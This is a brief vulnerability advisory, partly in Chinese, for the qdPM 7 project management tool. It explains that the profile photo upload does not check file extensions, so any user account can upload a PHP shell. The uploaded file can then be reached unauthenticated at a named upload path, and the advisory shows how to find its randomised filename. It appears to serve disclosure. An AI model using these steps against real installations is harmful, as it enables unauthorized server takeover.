作者: loneferret
影响版本: 7
开发者网址: http://qdpm.net/
测试系统平台: Winddows XP / XAMPP
程序介绍:
# Free project management tool for small team
# qdPM is a free web-based project management tool suitable for a small team working on multiple projects.
# It is fully configurable. You can easy manage Projects, Tasks and People. Customers interact
# using a Ticket System that is integrated into Task management.
 
缺陷分析:
# Application does not verify the file's extension when uploading an image for a user's profile.
# Making it possible to upload a small php shell, and accessing it remotely.
 
# Note(s):
# One needs a valid user account to upload the file. (Client will do)
# No need to be authenticated to access the file.
 
上传文件:
登录后再这里上传:
# Page: /qdPM/index.php/home/myAccount
 
# Access file:
# File can be found here:
# /qdPM/uploads/users/<filename>
#
# Note the filename will contain a random number. One need to
# to look at the source code from the browser to find it.
# For example: <input type="file" name="users[photo]" value="171793-backdoor.php" id="users_photo" />
